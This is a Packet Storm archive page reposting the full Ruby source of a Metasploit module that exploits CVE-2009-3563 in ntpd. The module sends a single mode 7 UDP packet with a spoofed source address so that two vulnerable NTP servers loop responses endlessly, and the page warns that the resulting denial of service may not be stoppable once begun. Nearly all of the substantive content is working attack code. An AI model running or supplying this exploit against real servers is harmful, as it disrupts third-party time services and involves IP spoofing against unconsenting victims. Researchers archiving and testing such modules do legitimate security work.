exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

NTP.org ntpd Reserved Mode Denial of Service

NTP.org ntpd Reserved Mode Denial of Service
Posted Aug 31, 2024
Authored by todb | Site metasploit.com

This Metasploit module exploits a denial of service vulnerability within the NTP (network time protocol) demon. By sending a single packet to a vulnerable ntpd server (Victim A), spoofed from the IP address of another vulnerable ntpd server (Victim B), both victims will enter an infinite response loop. Note, unless you control the spoofed source host or the real remote host(s), you will not be able to halt the DoS condition once begun!

tags | exploit, remote, denial of service, spoof, protocol
advisories | CVE-2009-3563
SHA-256 | fd6bedd9499299150e84014f3a2923f488a7b7139a499468fb149fa3ecf238ef

NTP.org ntpd Reserved Mode Denial of Service

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Capture
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(update_info(info,
'Name' => 'NTP.org ntpd Reserved Mode Denial of Service',
'Description' => %q{
This module exploits a denial of service vulnerability
within the NTP (network time protocol) demon. By sending
a single packet to a vulnerable ntpd server (Victim A),
spoofed from the IP address of another vulnerable ntpd server
(Victim B), both victims will enter an infinite response loop.
Note, unless you control the spoofed source host or the real
remote host(s), you will not be able to halt the DoS condition
once begun!
},
'Author' => [ 'todb' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '37255' ],
[ 'CVE', '2009-3563' ],
[ 'OSVDB', '60847' ],
[ 'URL', 'https://bugs.ntp.org/show_bug.cgi?id=1331' ]
],
'DisclosureDate' => '2009-10-04'))

register_options(
[
OptAddressLocal.new('LHOST', [true, "The spoofed address of a vulnerable ntpd server" ])
])
deregister_options('FILTER','PCAPFILE')

end

def run_host(ip)
open_pcap

print_status("Sending a mode 7 packet to host #{ip} from #{datastore['LHOST']}")

p = PacketFu::UDPPacket.new
p.ip_saddr = datastore['LHOST']
p.ip_daddr = ip
p.ip_ttl = 255
p.udp_src = 123
p.udp_dst = 123
p.payload = ["\x17", "\x97\x00\x00\x00"][rand(2)]
p.recalc
capture_sendto(p,ip)

close_pcap
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close